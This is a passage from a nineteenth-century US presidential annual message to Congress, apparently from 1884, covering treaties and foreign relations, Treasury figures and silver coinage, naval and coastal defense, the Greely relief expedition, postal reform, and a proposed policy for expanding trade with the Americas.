Government. The Government\nof Japan stands ready to present to us extensive grounds at Tokyo whereon\nto erect a suitable building for the legation, court-house, and jail, and\nsimilar privileges can probably be secured in China and Persia. The owning\nof such premises would not only effect a large saving of the present\nrentals, but would permit of the due assertion of extraterritorial rights\nin those countries, and would the better serve to maintain the dignity of\nthe United States.The failure of Congress to make appropriation for our representation at the\nautonomous court of the Khedive has proved a serious embarrassment in our\nintercourse with Egypt; and in view of the necessary intimacy of diplomatic\nrelationship due to the participation of this Government as one of the\ntreaty powers in all matters of administration there affecting the rights\nof foreigners, I advise the restoration of the agency and consulate-general\nat Cairo on its former basis. I do not conceive it to be the wish of\nCongress that the United States should withdraw altogether from the\nhonorable position they have hitherto held with respect to the Khedive, or\nthat citizens of this Republic residing or sojourning in Egypt should\nhereafter be without the aid and protection of a competent representative.With France the traditional cordial relationship continues. The colossal\nstatue of Liberty Enlightening the World, the generous gift of the people\nof France, is expected to reach New York in May next. I suggest that\nCongressional action be taken in recognition of the spirit which has\nprompted this gift and in aid of the timely completion of the pedestal upon\nwhich it is to be placed.Our relations with Germany, a country which contributes to our own some of\nthe best elements of citizenship, continue to be cordial. The United States\nhave extradition treaties with several of the German States, but by reason\nof the confederation of those States under the imperial rule the\napplication of such treaties is not as uniform and comprehensive as the\ninterests of the two countries require. I propose, therefore, to open\nnegotiations for a single convention of extradition to embrace all the\nterritory of the Empire.It affords me pleasure to say that our intercourse with Great Britain\ncontinues to be of a most friendly character.The Government of Hawaii has indicated its willingness to continue for\nseven years the provisions of the existing reciprocity treaty. Such\ncontinuance, in view of the relations of that country to the American\nsystem of States, should, in my judgment, be favored.The revolution in Hayti against the established Government has terminated.\nWhile it was in progress it became necessary to enforce our neutrality laws\nby instituting proceedings against individuals and vessels charged with\ntheir infringement. These prosecutions were in all cases successful.Much anxiety has lately been displayed by various European Governments, and\nespecially by the Government of Italy, for the abolition of our import\nduties upon works of art. It is well to consider whether the present\ndiscrimination in favor of the productions of American artists abroad is\nnot likely to result, as they themselves seem very generally to believe it\nmay, in the practical exclusion of our painters and sculptors from the rich\nfields for observation, study, and labor which they have hitherto enjoyed.There is prospect that the long-pending revision of the foreign treaties of\nJapan may be concluded at a new conference to be held at Tokyo. While this\nGovernment fully recognizes the equal and independent station of Japan in\nthe community of nations, it would not oppose the general adoption of such\nterms of compromise as Japan may be disposed to offer in furtherance of a\nuniform policy of intercourse with Western nations.During the past year the increasing good will between our own Government\nand that of Mexico has been variously manifested. The treaty of commercial\nreciprocity concluded January 20, 1883, has been ratified and awaits the\nnecessary tariff legislation of Congress to become effective. This\nlegislation will, I doubt not, be among the first measures to claim your\nattention.A full treaty of commerce, navigation, and consular rights is much to be\ndesired, and such a treaty I have reason to believe that the Mexican\nGovernment stands ready to conclude.Some embarrassment has been occasioned by the failure of Congress at its\nlast session to provide means for the due execution of the treaty of July\n29, 1882, for the resurvey of the Mexican boundary and the relocation of\nboundary monuments.With the Republic of Nicaragua a treaty has been concluded which authorizes\nthe construction by the United States of a canal, railway, and telegraph\nline across the Nicaraguan territory.By the terms of this treaty 60 miles of the river San Juan, as well as Lake\nNicaragua, an inland sea 40 miles in width, are to constitute a part of the\nprojected enterprise.This leaves for actual canal construction 17 miles on the Pacific side and\n36 miles on the Atlantic. To the United States, whose rich territory on the\nPacific is for the ordinary purposes of commerce practically cut off from\ncommunication by water with the Atlantic ports, the political and\ncommercial advantages of such a project can scarcely be overestimated.It is believed that when the treaty is laid before you the justice and\nliberality of its provisions will command universal approval at home and\nabroad.The death of our representative at Russia while at his post at St.\nPetersburg afforded to the Imperial Government a renewed opportunity to\ntestify its sympathy in a manner befitting the intimate friendliness which\nhas ever marked the intercourse of the two countries.The course of this Government in raising its representation at Bangkok to\nthe diplomatic rank has evoked from Siam evidences of warm friendship and\naugurs well for our enlarged intercourse. The Siamese Government has\npresented to the United States a commodious mansion and grounds for the\noccupancy of the legation, and I suggest that by joint resolution Congress\nattest its appreciation of this generous gift.This government has more than once been called upon of late to take action\nin fulfillment of its international obligations toward Spain. Agitation in\nthe island of Cuba hostile to the Spanish Crown having been fomented by\npersons abusing the sacred rights of hospitality which our territory\naffords, the officers of this Government have been instructed to exercise\nvigilance to prevent infractions of our neutrality laws at Key West and at\nother points near the Cuban coast. I am happy to say that in the only\ninstance where these precautionary measures were successfully eluded the\noffenders, when found in our territory, were subsequently tried and\nconvicted.The growing need of close relationship of intercourse and traffic between\nthe Spanish Antilles and their natural market in the United States led to\nthe adoption in January last of a commercial agreement looking to that end.\nThis agreement has since been superseded by a more carefully framed and\ncomprehensive convention, which I shall submit to the Senate for approval.\nIt has been the aim of this negotiation to open such a favored reciprocal\nexchange of productions carried under the flag of either country as to make\nthe intercourse between Cuba and Puerto Rico and ourselves scarcely less\nintimate than the commercial movement between our domestic ports, and to\ninsure a removal of the burdens on shipping in the Spanish Indies, of which\nin the past our shipowners and shipmasters have so often had cause to\ncomplain.The negotiation of this convention has for a time postponed the prosecution\nof certain claims of our citizens which were declared to be without the\njurisdiction of the late Spanish-American Claims Commission, and which are\ntherefore remitted to diplomatic channels for adjustment. The speedy\nsettlement of these claims will now be urged by this Government.Negotiations for a treaty of commercial reciprocity with the Dominican\nRepublic have been successfully concluded, and the result will shortly be\nlaid before the Senate.Certain questions between the United States and the Ottoman Empire still\nremain unsolved. Complaints on behalf of our citizens are not\nsatisfactorily adjusted. The Porte has sought to withhold from our commerce\nthe right of favored treatment to which we are entitled by existing\nconventional stipulations, and the revision of the tariffs is\nunaccomplished.The final disposition of pending questions with Venezuela has not as yet\nbeen reached, but I have good reason to expect an early settlement which\nwill provide the means of reexamining the Caracas awards in conformity with\nthe expressed desire of Congress, and which will recognize the justice of\ncertain claims preferred against Venezuela.The Central and South American Commission appointed by authority of the act\nof July 7, 1884, will soon proceed to Mexico. It has been furnished with\ninstructions which will be laid before you. They contain a statement of the\ngeneral policy of the Government for enlarging its commercial intercourse\nwith American States. The commissioners have been actively preparing for\ntheir responsible task by holding conferences in the principal cities with\nmerchants and others interested in Central and South American trade.The International Meridian Conference lately convened in Washington upon\nthe invitation of the Government of the United States was composed of\nrepresentatives from twenty-five nations. The conference concluded its\nlabors on the 1st of November, having with substantial unanimity agreed\nupon the meridian of Greenwich as the starting point whence longitude is to\nbe computed through 180 degrees eastward and westward, and upon the\nadoption, for all purposes for which it may be found convenient, of a\nuniversal day which shall begin at midnight on the initial meridian and\nwhose hours shall be counted from zero up to twenty-four.The formal report of the transactions of this conference will be hereafter\ntransmitted to the Congress.This Government is in frequent receipt of invitations from foreign states\nto participate in international exhibitions, often of great interest and\nimportance. Occupying, as we do, an advanced position in the world's\nproduction, and aiming to secure a profitable share for our industries in\nthe general competitive markets, it is a matter of serious concern that the\nwant of means for participation in these exhibitions should so often\nexclude our producers from advantages enjoyed by those of other countries.\nDuring the past year the attention of Congress was drawn to the formal\ninvitations in this regard tendered by the Governments of England, Holland,\nBelgium, Germany, and Austria. The Executive has in some instances\nappointed honorary commissioners. This is, however, a most unsatisfactory\nexpedient, for without some provision to meet the necessary working\nexpenses of a commission it can effect little or nothing in behalf of\nexhibitors. An International Inventions Exhibition is to be held in London\nnext May. This will cover a field of special importance, in which our\ncountry holds a foremost rank; but the Executive is at present powerless to\norganize a proper representation of our vast national interests in this\ndirection.I have in several previous messages referred to this subject. It seems to\nme that a statute giving to the Executive general discretionary authority\nto accept such invitations and to appoint honorary commissioners, without\nsalary, and placing at the disposal of the Secretary of State a small fund\nfor defraying their reasonable expenses, would be of great public utility.This Government has received official notice that the revised international\nregulations for preventing collisions at sea have been adopted by all the\nleading maritime powers except the United States, and came into force on\nthe 1st of September last. For the due protection of our shipping interests\nthe provisions of our statutes should at once be brought into conformity\nwith these regulations.The question of securing to authors, composers, and artists copyright\nprivileges in this country in return for reciprocal rights abroad is one\nthat may justly challenge your attention. It is true that conventions will\nbe necessary for fully accomplishing this result; but until Congress shall\nby statute fix the extent to which foreign holders of copyright shall be\nhere privileged it has been deemed inadvisable to negotiate such\nconventions. For this reason the United States were not represented at the\nrecent conference at Berne.I recommend that the scope of the neutrality laws of the United States be\nso enlarged as to cover all patent acts of hostility committed in our\nterritory and aimed against the peace of a friendly nation. Existing\nstatutes prohibit the fitting out of armed expeditions and restrict the\nshipment of explosives, though the enactments in the latter respect were\nnot framed with regard to international obligations, but simply for the\nprotection of passenger travel. All these statutes were intended to meet\nspecial emergencies that had already arisen. Other emergencies have arisen\nsince, and modern ingenuity supplies means for the organization of\nhostilities without open resort to armed vessels or to filibustering\nparties.I see no reason why overt preparations in this country for the commission\nof criminal acts such as are here under consideration should not be alike\npunishable whether such acts are intended to be committed in our own\ncountry or in a foreign country with which we are at peace.The prompt and thorough treatment of this question is one which intimately\nconcerns the national honor.Our existing naturalization laws also need revision. Those sections\nrelating to persons residing within the limits of the United States in 1795\nand 1798 have now only a historical interest. Section 2172, recognizing the\ncitizenship of the children of naturalized parents, is ambiguous in its\nterms and partly obsolete. There are special provisions of law favoring the\nnaturalization of those who serve in the Army or in merchant vessels, while\nno similar privileges are granted those who serve in the Navy or the Marine\nCorps.\"An uniform rule of naturalization\" such as the Constitution contemplates\nshould, among other things, clearly define the status of persons born\nwithin the United States subject to a foreign power (section 1992) and of\nminor children of fathers who have declared their intention to become\ncitizens but have failed to perfect their naturalization. It might be wise\nto provide for a central bureau of registry, wherein should be filed\nauthenticated transcripts of every record of naturalization in the several\nFederal and State courts, and to make provision also for the vacation or\ncancellation of such record in cases where fraud had been practiced upon\nthe court by the applicant himself or where he had renounced or forfeited\nhis acquired citizenship. A just and uniform law in this respect would\nstrengthen the hands of the Government in protecting its citizens abroad\nand would pave the way for the conclusion of treaties of naturalization\nwith foreign countries.The legislation of the last session effected in the diplomatic and consular\nservice certain changes and reductions which have been productive of\nembarrassment. The population and commercial activity of our country are\nsteadily on the increase, and are giving rise to new, varying, and often\ndelicate relationships with other countries. Our foreign establishment now\nembraces nearly double the area of operations that it occupied twenty years\nago. The confinement of such a service within the limits of expenditure\nthen established is not, it seems to me, in accordance with true economy. A\ncommunity of 60,000,000 people should be adequately represented in its\nintercourse with foreign nations.A project for the reorganization of the consular service and for recasting\nthe scheme of extraterritorial jurisdiction is now before you. If the\nlimits of a short session will not allow of its full consideration, I trust\nthat you will not fail to make suitable provision for the present needs of\nthe service.It has been customary to define in the appropriation acts the rank of each\ndiplomatic office to which a salary is attached. I suggest that this course\nbe abandoned and that it be left to the President, with the advice and\nconsent of the Senate, to fix from time to time the diplomatic grade of the\nrepresentatives of this Government abroad as may seem advisable, provision\nbeing definitely made, however, as now, for the amount of salary attached\nto the respective stations.The condition of our finances and the operations of the various branches of\nthe public service which are connected with the Treasury Department are\nvery fully discussed in the report of the Secretary.It appears that the ordinary revenues for the fiscal year ended June 30,\n1884, were:From customs - $195,067,489.76From internal revenue - 121,586,072.51From all other sources - 31,866,307.65Total ordinary revenues - 348,519,869.92The public expenditures during the same period were:For civil expenses - $22,312,907.71For foreign intercourse - 1,260,766.37For Indians - 6,475,999.29For pensions - 55,429,228.06For the military establishment, including river and harbor\nimprovements and arsenals - 39,429,603.36For the naval establishment, including vessels, machinery,\nand improvements at navy-yards - 17,292,601.44For miscellaneous expenditures, including public buildings,\nlight-houses, and collecting the revenue - 43,939,710.00For expenditures on account of the District of Columbia - 3,407,049.62For interest on the public debt - 54,578,378.48For the sinking fund - 46,790,229.50Total ordinary expenditures - 290,926,473.83Leaving a surplus of - 57,603,396.09As compared with the preceding fiscal year, there was a net decrease of\nover $21,000,000 in the amount of expenditures. The aggregate receipts were\nless than those of the year previous by about $54,000,000. The falling off\nin revenue from customs made up nearly $20,000,000 of this deficiency, and\nabout $23,000,000 of the remainder was due to the diminished receipts from\ninternal taxation.The Secretary estimates the total receipts for the fiscal year which will\nend June 30, 1885, at $330,000,000 and the total expenditures at\n$290,620,201.16, in which sum are included the interest on the debt and the\namount payable to the sinking fund. This would leave a surplus for the\nentire year of about $39,000,000.The value of exports from the United States to foreign countries during the\nyear ending June 30, 1884, was as follows:Domestic merchandise - $724,964,852Foreign merchandise - 15,548,757Total merchandise - 740,513,609Specie - 67,133,383Total exports of merchandise and specie - 807,646,992The cotton and cotton manufactures included in this statement were valued\nat $208,900,415; the breadstuffs at $162,544,715; the provisions at\n$114,416,547, and the mineral oils at $47,103,248.During the same period the imports were as follows:Merchandise - $667,697,693Gold and silver - 37,426,262Total - 705,123,955More than 63 per cent of the entire value of imported merchandise consisted\nof the following articles:Sugar and molasses - $103,884,274Wool and woolen manufactures - 53,842,292Silk and its manufactures - 49,949,128Coffee - 49,686,705Iron and steel and manufactures thereof - 41,464,599Chemicals - 38,464,965Flax, hemp, jute, and like substances, and manufactures thereof -\n33,463,398Cotton and manufactures of cotton - 30,454,476Hides and skins other than fur skins - 22,350,906I concur with the Secretary of the Treasury in recommending the immediate\nsuspension of the coinage of silver dollars and of the issuance of silver\ncertificates. This is a matter to which in former communications I have\nmore than once invoked the attention of the National Legislature.It appears that annually for the past six years there have been coined, in\nCompliance with the requirements of the act of February 28, 1878, more than\n27,000,000 silver dollars.The number now outstanding is reported by the Secretary to be nearly\n185,000,000, whereof but little more than 40,000,000, or less than 22 per\ncent, are in actual circulation. The mere existence of this fact seems to\nme to furnish of itself a cogent argument for the repeal of the statute\nwhich has made such fact possible.But there are other and graver considerations that tend in the same\ndirection.The Secretary avows his conviction that unless this coinage and the\nissuance of silver certificates be suspended silver is likely at no distant\nday to become our sole metallic standard. The commercial disturbance and\nthe impairment of national credit that would be thus occasioned can\nscarcely be overestimated.I hope that the Secretary's suggestions respecting the withdrawal from\ncirculation of the $1 and $2 notes will receive your approval. It is likely\nthat a considerable portion of the silver now encumbering the vaults of the\nTreasury might thus find its way into the currency.While trade dollars have ceased, for the present at least, to be an element\nof active disturbance in our currency system, some provision should be made\nfor their surrender to the Government. In view of the circumstances under\nwhich they were coined and of the fact that they have never had a\nlegal-tender quality, there should be offered for them only a slight\nadvance over their bullion value.The Secretary in the course of his report considers the propriety of\nbeautifying the designs of our subsidiary silver coins and of so increasing\ntheir weight that they may bear their due ratio of value to the standard\ndollar. His conclusions in this regard are cordially approved.In my annual message of 1882 I recommended the abolition of all excise\ntaxes except those relating to distilled spirits. This recommendation is\nnow renewed. In case these taxes shall be abolished the revenues that will\nstill remain to the Government will, in my opinion, not only suffice to\nmeet its reasonable expenditures, but will afford a surplus large enough to\npermit such tariff reduction as may seem to be advisable when the results\nof recent revenue laws and commercial treaties shall have shown in what\nquarters those reductions can be most judiciously effected.One of the gravest of the problems which appeal to the wisdom of Congress\nfor solution is the ascertainment of the most effective means for\nincreasing our foreign trade and thus relieving the depression under which\nour industries are now languishing. The Secretary of the Treasury advises\nthat the duty of investigating this subject be intrusted in the first\ninstance to a competent commission. While fully recognizing the\nconsiderations that may be urged against this course, I am nevertheless of\nthe opinion that upon the whole no other would be likely to effect speedier\nor better results.That portion of the Secretary's report which concerns the condition of our\nshipping interests can not fail to command your attention. He emphatically\nrecommends that as an incentive to the investment of American capital in\nAmerican steamships the Government shall, by liberal payments for mail\ntransportation or otherwise, lend its active assistance to individual\nenterprise, and declares his belief that unless that course be pursued our\nforeign carrying trade must remain, as it is to-day, almost exclusively in\nthe hands of foreigners.One phase of this subject is now especially prominent in view of the repeal\nby the act of June 26, 1884, of all statutory provisions arbitrarily\ncompelling American vessels to carry the mails to and from the United\nStates. As it is necessary to make provision to compensate the owners of\nsuch vessels for performing that service after April, 1885, it is hoped\nthat the whole subject will receive early consideration that will lead to\nthe enactment of such measures for the revival of our merchant marine as\nthe wisdom of Congress may devise.The 3 per cent bonds of the Government to the amount of more than\n$100,000,000 have since my last annual message been redeemed by the\nTreasury. The bonds of that issue still outstanding amount to little over\n$200,000,000, about one-fourth of which will be retired through the\noperations of the sinking fund during the coming year. As these bonds still\nconstitute the chief basis for the circulation of the national banks, the\nquestion how to avert the contraction of the currency caused by their\nretirement is one of constantly increasing importance.It seems to be generally conceded that the law governing this matter exacts\nfrom the banks excessive security, and that upon their present bond\ndeposits a larger circulation than is now allowed may be granted with\nsafety. I hope that the bill which passed the Senate at the last session,\npermitting the issue of notes equal to the face value of the deposited\nbonds, will commend itself to the approval of the House of\nRepresentatives.In the expenses of the War Department the Secretary reports a decrease of\nmore than $9,000,000. Of this reduction $5,600,000 was effected in the\nexpenditures for rivers and harbors and $2,700,000 in expenditures for the\nQuartermaster's Department.Outside of that Department the annual expenses of all the Army bureaus\nproper (except possibly the Ordnance Bureau) are substantially fixed\ncharges, which can not be materially diminished without a change in the\nnumerical strength of the Army. The expenditures in the Quartermaster's\nDepartment can readily be subjected to administrative discretion, and it is\nreported by the Secretary of War that as a result of exercising such\ndiscretion in reducing the number of draft and pack animals in the Army the\nannual cost of supplying and caring for such animals is now $1,108,085.90\nless than it was in 1881.The reports of military commanders show that the last year has been notable\nfor its entire freedom from Indian outbreaks.In defiance of the President's proclamation of July 1, 1884, certain\nintruders sought to make settlements in the Indian Territory. They were\npromptly removed by a detachment of troops.During the past session of Congress a bill to provide a suitable fire-proof\nbuilding for the Army Medical Museum and the library of the\nSurgeon-General's Office received the approval of the Senate. A similar\nbill, reported favorably to the House of Representatives by one of its\ncommittees, is still pending before that body. It is hoped that during the\ncoming session the measure may become a law, and that thereafter immediate\nsteps may be taken to secure a place of safe deposit for these valuable\ncollections, now in a state of insecurity.The funds with which the works for the improvement of rivers and harbors\nwere prosecuted during the past year were derived from the appropriations\nof the act of August 2, 1882, together with such few balances as were on\nhand from previous appropriations. The balance in the Treasury subject to\nrequisition July 1, 1883, was $10,021,649.55. The amount appropriated\nduring the fiscal year 1884 was $1,319,634.62 and the amount drawn from the\nTreasury during the fiscal year was $8,228,703.54, leaving a balance of\n$3,112,580.63 in the Treasury subject to requisition July 1, 1884.The Secretary of War submits the report of the Chief of Engineers as to the\npracticability of protecting our important cities on the seaboard by\nfortifications and other defenses able to repel modern methods of attack.\nThe time has now come when such defenses can be prepared with confidence\nthat they will not prove abortive, and when the possible result of delay in\nmaking such preparation is seriously considered delay seems inexcusable.\nFor the most important cities--those whose destruction or capture would be\na national humiliation--adequate defenses, inclusive of guns, may be made\nby the gradual expenditure of $60,000,000--a sum much less than a\nvictorious enemy could levy as a contribution. An appropriation of about\none-tenth of that amount is asked to begin the work, and I concur with the\nSecretary of War in urging that it be granted.The War Department is proceeding with the conversion of 10-inch smoothbore\nguns into 8-inch rifles by lining the former with tubes of forged steel or\nof coil wrought iron. Fifty guns will be thus converted within the year.\nThis, however, does not obviate the necessity of providing means for the\nconstruction of guns of the highest power both for the purposes of coast\ndefense and for the armament of war vessels.The report of the Gun Foundry Board, appointed April 2, 1883, in pursuance\nof the act of March 3, 1883, was transmitted to Congress in a special\nmessage of February 18, 1884. In my message of March 26, 1884, I called\nattention to the recommendation of the board that the Government should\nencourage the production at private steel works of the required material\nfor heavy cannon, and that two Government factories, one for the Army and\none for the Navy, should be established for the fabrication of guns from\nsuch material. No action having been taken, the board was subsequently\nreconvened to determine more fully the plans and estimates necessary for\ncarrying out its recommendation. It has received information which\nindicates that there are responsible steel manufacturers in this country\nwho, although not provided at present with the necessary plant, are willing\nto construct the same and to make bids for contracts with the Government\nfor the supply of the requisite material for the heaviest guns adapted to\nmodern warfare if a guaranteed order of sufficient magnitude, accompanied\nby a positive appropriation extending over a series of years, shall be made\nby Congress. All doubts as to the feasibility of the plan being thus\nremoved, I renew my recommendation that such action be taken by Congress as\nwill enable the Government to construct its own ordnance upon its own\nterritory, and so to provide the armaments demanded by considerations of\nnational safety and honor.The report of the Secretary of the Navy exhibits the progress which has\nbeen made on the new steel cruisers authorized by the acts of August 5,\n1882, and March 3, 1883. Of the four vessels under contract, one, the\nChicago, of 4,500 tons, is more than half finished; the Atlanta, of 3,000\ntons, has been successfully launched, and her machinery is now fitting; the\nBoston, also of 3,000 tons, is ready for launching, and the Dolphin, a\ndispatch steamer of 1,500 tons, is ready for delivery.Certain adverse criticisms upon the designs of these cruisers are discussed\nby the Secretary, who insists that the correctness of the conclusions\nreached by the Advisory Board and by the Department has been demonstrated\nby recent developments in shipbuilding abroad.The machinery of the double-turreted monitors Puritan, Terror, and\nAmphitrite, contracted for under the act of March 3, 1883, is in process of\nconstruction. No work has been done during the past year on their armor for\nlack of the necessary appropriations. A fourth monitor, the Monadnock,\nstill remains unfinished at the navy-yard in California. It is recommended\nthat early steps be taken to complete these vessels and to provide also an\narmament for the monitor Miantonomoh.The recommendations of the Naval Advisory Board, approved by the\nDepartment, comprise the construction of one steel cruiser of 4,500 tons,\none cruiser of 3,000 tons, two heavily armed gunboats, one light cruising\ngunboat, one dispatch vessel armed with Hotchkiss cannon, one armored ram,\nand three torpedo boats. The general designs, all of which are calculated\nto meet the existing wants of the service, are now well advanced, and the\nconstruction of the vessels can be undertaken as soon as you shall grant\nthe necessary authority.The act of Congress approved August 7, 1882, authorized the removal to the\nUnited States of the bodies of Lieutenant-Commander George W. De Long and\nhis companions of the Jeannette expedition. This removal has been\nsuccessfully accomplished by Lieutenants Harber and Schuetze. The remains\nwere taken from their grave in the Lena Delta in March, 1883, and were\nretained at Yakutsk until the following winter, the season being too far\nadvanced to admit of their immediate transportation. They arrived at New\nYork February 20, 1884, where they were received with suitable honors.In pursuance of the joint resolution of Congress approved February 13,\n1884, a naval expedition was fitted out for the relief of Lieutenant A. W.\nGreely, United States Army, and of the party who had been engaged under his\ncommand in scientific observations at Lady Franklin Bay. The fleet\nconsisted of the steam sealer Thetis, purchased in England; the Bear,\npurchased at St. Johns, Newfoundland, and the Alert, which was generously\nprovided by the British Government. Preparations for the expedition were\npromptly made by the Secretary of the Navy, with the active cooperation of\nthe Secretary of War. Commander George W. Coffin was placed in command of\nthe Alert and Lieutenant William H. Emory in command of the Bear. The\nThetis was intrusted to Commander Winfield S. Schley, to whom also was\nassigned the superintendence of the entire expedition.Immediately upon its arrival at Upernavik the fleet began the dangerous\nnavigation of Melville Bay, and in spite of every obstacle reached\nLittleton Island on June 22, a fortnight earlier than any vessel had before\nattained that point. On the same day it crossed over to Cape Sabine, where\nLieutenant Greely and the other survivors of his party were discovered.\nAfter taking on board the living and the bodies of the dead, the relief\nships sailed for St. Johns, where they arrived on July 17. They were\nappropriately received at Portsmouth, N. H., on August 1 and at New York on\nAugust 8. One of the bodies was landed at the former place. The others were\nput on shore at Governors Island, and, with the exception of one, which was\ninterred in the national cemetery, were forwarded thence to the\ndestinations indicated by friends. The organization and conduct of this\nrelief expedition reflects great credit upon all who contributed to its\nsuccess.In this the last of the stated messages that I shall have the honor to\ntransmit to the Congress of the United States I can not too strongly urge\nupon its attention the duty of restoring our Navy as rapidly as possible to\nthe high state of efficiency which formerly characterized it. As the long\npeace that has lulled us into a sense of fancied security may at any time\nbe disturbed, it is plain that the policy of strengthening this arm of the\nservice is dictated by considerations of wise economy, of just regard for\nour future tranquillity, and of true appreciation of the dignity and honor\nof the Republic.The report of the Postmaster-General acquaints you with the present\ncondition and needs of the postal service.It discloses the gratifying fact that the loss of revenue from the\nreduction in the rate of letter postage recommended in my message of\nDecember 4, 1882, and effected by the act of March 3, 1883, has been much\nless than was generally anticipated. My recommendation of this reduction\nwas based upon the belief that the actual falling off in receipts from\nletter postages for the year immediately succeeding the change of rate\nwould be $3,000,000. It has proved to be only $2,275,000.This is a trustworthy indication that the revenue will soon be restored to\nits former volume by the natural increase of sealed correspondence.I confidently repeat, therefore, the recommendation of my last annual\nmessage that the single-rate postage upon drop letters be reduced to 1 cent\nwherever the payment of 2 cents is now required by law. The double rate is\nonly exacted at offices where the carrier system is in operation, and it\nappears that at those offices the increase in the tax upon local letters\ndefrays the cost not only of its own collection and delivery, but of the\ncollection and delivery of all other mail matter. This is an inequality\nthat ought no longer to exist.I approve the recommendation of the Postmaster-General that the unit of\nweight in the rating of first-class matter should be 1 ounce instead of\none-half ounce, as it now is. In view of the statistics furnished by the\nDepartment, it may well be doubted whether the change would result in any\nloss of revenue. That it would greatly promote the convenience of the\npublic is beyond dispute.The free-delivery system has been lately applied to five cities, and the\ntotal number of offices in which it is now in operation is 159. Experience\nshows that its adoption, under proper conditions, is equally an\naccommodation to the public and an advantage to the postal service. It is\nmore than self-sustaining, and for the reasons urged by the\nPostmaster-General may properly be extended.In the opinion of that officer it is important to provide means whereby\nexceptional dispatch in dealing with letters in free-delivery offices may\nbe secured by payment of extraordinary postage. This scheme might be made\neffective by employment of a special stamp whose cost should be\ncommensurate with the expense of the extra service.In some of the large cities private express companies have undertaken to\noutstrip the Government mail carriers by affording for the prompt\ntransmission of letters better facilities than have hitherto been at the\ncommand of the Post-Office.It has always been the policy of the Government to discourage such\nenterprises, and in no better mode can that policy be maintained than in\nsupplying the public with the most efficient mail service that, with due\nregard to its own best interests, can be furnished for its accommodation.The Attorney-General renews the recommendation contained in his report of\nlast year touching the fees of witnesses and jurors.He favors radical changes in the fee bill, the adoption of a system by\nwhich attorneys and marshals of the United States shall be compensated\nsolely by salaries, and the erection by the Government of a penitentiary\nfor the confinement of offenders against its laws.Of the varied governmental concerns in charge of the Interior Department\nthe report of its Secretary presents an interesting summary. Among the\ntopics deserving particular attention I refer you to his observations\nrespecting our Indian affairs, the preemption and timber-culture acts, the\nfailure of railroad companies to take title to lands granted by the\nGovernment, and the operations of the Pension Office, the Patent Office,\nthe Census Bureau, and the Bureau of Education.Allusion has been made already to the circumstance that, both as between\nthe different Indian tribes and as between the Indians and the whites, the\npast year has been one of unbroken peace.In this circumstance the President is glad to find justification for the\npolicy of the Government in its dealing with the Indian question and\nconfirmation of the views which were fully expressed in his first\ncommunication to the Forty-seventh Congress.The Secretary urges anew the enactment of a statute for the punishment of\ncrimes committed on the Indian reservations, and recommends the passage of\nthe bill now pending in the House of Representatives for the purchase of a\ntract of 18,000 square miles from the Sioux Reservation. Both these\nmeasures are worthy of approval.I concur with him also in advising the repeal of the preemption law, the\nenactment of statutes resolving the present legal complications touching\nlapsed grants to railroad companies, and the funding of the debt of the\nseveral Pacific railroads under such guaranty as shall effectually secure\nits ultimate payment.The report of the Utah Commission will be read with interest.It discloses the results of recent legislation looking to the prevention\nand punishment of polygamy in that Territory. I still believe that if that\nabominable practice can be suppressed by law it can only be by the most\nradical legislation consistent with the restraints of the Constitution.I again recommend, therefore, that Congress assume absolute political\ncontrol of the Territory of Utah and provide for the appointment of\ncommissioners with such governmental powers as in its judgment may justly\nand wisely be put into their hands.In the course of this communication reference has more than once been made\nto the policy of this Government as regards the extension of our foreign\ntrade. It seems proper to declare the general principles that should, in my\nopinion, underlie our national efforts in this direction.The main conditions of the problem may be thus stated:We are a people apt in mechanical pursuits and fertile in invention. We\ncover a vast extent of territory rich in agricultural products and in\nnearly all the raw materials necessary for successful manufacture. We have\na system of productive establishments more than sufficient to supply our\nown demands. The wages of labor are nowhere else so great. The scale of\nliving of our artisan classes is such as tends to secure their personal\ncomfort and the development of those higher moral and intellectual\nqualities that go to the making of good citizens. Our system of tax and\ntariff legislation is yielding a revenue which is in excess of the present\nneeds of the Government.These are the elements from which it is sought to devise a scheme by which,\nwithout unfavorably changing the condition of the workingman, our merchant\nmarine shall be raised from its enfeebled condition and new markets\nprovided for the sale beyond our borders of the manifold fruits of our\nindustrial enterprises.The problem is complex and can be solved by no single measure of innovation\nor reform.The countries of the American continent and the adjacent islands are for\nthe United States the natural marts of supply and demand. It is from them\nthat we should obtain what we do not produce or do not produce in\nsufficiency, and it is to them that the surplus productions of our fields,\nour mills, and our workshops should flow, under conditions that will\nequalize or favor them in comparison with foreign competition.Four paths of policy seem to point to this end:First. A series of reciprocal commercial treaties with the countries of\nAmerica which shall foster between us and them an unhampered movement of\ntrade. The conditions of these treaties should be the free admission of\nsuch merchandise as this country does not produce, in return for the\nadmission free or under a favored scheme of duties of our own products, the\nbenefits of such exchange to apply only to goods carried under the flag of\nthe parties to the contract; the removal on both sides from the vessels so\nprivileged of all tonnage dues and national imposts, so that those vessels\nmay ply unhindered between our ports and those of the other contracting\nparties, though without infringing on the reserved home coasting trade; the\nremoval or reduction of burdens on the exported products of those countries\ncoming within the benefits of the treaties, and the avoidance of the\ntechnical restrictions and penalties by which our intercourse with those\ncountries is at present hampered.Secondly. The establishment of the consular service of the United States on\na salaried footing, thus permitting the relinquishment of consular fees not\nonly as respects vessels under the national flag, but also as respects\nvessels of the treaty nations carrying goods entitled to the benefits of\nthe treaties.Thirdly. The enactment of measures to favor the construction and\nmaintenance of a steam carrying marine under the flag of the United\nStates.Fourthly. The establishment of an uniform currency basis for the countries\nof America, so that the coined products of our mines may circulate on equal\nterms throughout the whole system of commonwealths. This would require a\nmonetary union of America, whereby the output of the bullion-producing\ncountries and the circulation of those which yield neither gold nor silver\ncould be adjusted in conformity with the population, wealth, and commercial\nneeds of each. As many of the countries furnish no bullion to the common\nstock, the surplus production of our mines and mints might thus be utilized\nand a step taken toward the general remonetization of silver.To the accomplishment of these ends, so far as they can be attained by\nseparate treaties, the negotiations already concluded and now in progress\nhave been directed; and the favor which this enlarged policy has thus far\nreceived warrants the belief that its operations will ere long embrace all,\nor nearly all, the countries of this hemisphere.It is by no means desirable, however, that the policy under consideration\nshould be applied to these countries alone. The healthful enlargement of\nour trade with Europe, Asia, and Africa should be sought by reducing tariff\nburdens on such of their wares as neither we nor the other American States\nare fitted to produce, and thus enabling ourselves to obtain in return a\nbetter market for our supplies of food, of raw materials, and of the\nmanufactures in which we excel.It seems to me that many of the embarrassing elements in the great national\nconflict between protection and free trade may thus be turned to good\naccount; that the revenue may be reduced so as no longer to overtax the\npeople; that protective duties may be retained without becoming burdensome;\nthat our shipping interests may be judiciously encouraged, the currency\nfixed on firm bases, and, above all, such an unity of interests established\namong the States of the American system as will be of great and\never-increasing advantage to them all.All treaties in the line of this policy which have been negotiated or 